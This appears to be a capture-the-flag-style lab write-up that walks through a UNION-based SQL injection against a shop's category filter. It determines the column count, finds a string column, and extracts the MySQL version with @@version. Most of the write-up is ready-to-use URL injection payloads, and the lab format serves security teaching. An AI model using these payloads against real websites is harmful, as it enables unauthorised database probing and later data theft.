🕸️ PSA - SQLi 8 - Querying DB type and version on MySQL and Microsoft

Difficulty : Practitioner

🎯 Goal

To solve the lab, display the database version string.

✅ Solution

We know it is a MySQL or Microsoft database so we will have to try different comment symbol: --comment for Microsoft #comment or -- comment for MySQL The # will be encoded as %23 and the space `` as %20

Find the number of columns while trying different comments:

# Microsoft: --comment
<website>/filter?category=Gifts'UNION SELECT NULL--                 # error! 
<website>/filter?category=Gifts'UNION SELECT NULL,NULL--            # error! 
<website>/filter?category=Gifts'UNION SELECT NULL,NULL,NULL--       # error! 
# MySQL: #comment
<website>/filter?category=Gifts'UNION SELECT NULL%23                # error! 
<website>/filter?category=Gifts'UNION SELECT NULL,NULL%23           # works  
<website>/filter?category=Gifts'UNION SELECT NULL,NULL,NULL%23      # error! 
# MySQL: -- comment
<website>/filter?category=Gifts'UNION SELECT NULL--%20              # error! 
<website>/filter?category=Gifts'UNION SELECT NULL,NULL--%20         # works  
<website>/filter?category=Gifts'UNION SELECT NULL,NULL,NULL--%20    # error! 

We know 2 columns are returned by the questy. Is one containing string?

<website>/filter?category=Gifts'UNION SELECT 'abc',NULL--%20        # works

To determine the database type and version on MySQL we have to query @@version. The @ character is %40 when URL encoded.

Full payload:

<website>/filter?category=Gifts'+UNION+SELECT+%40%40version,NULL--%20    # works

The database type and version are displayed.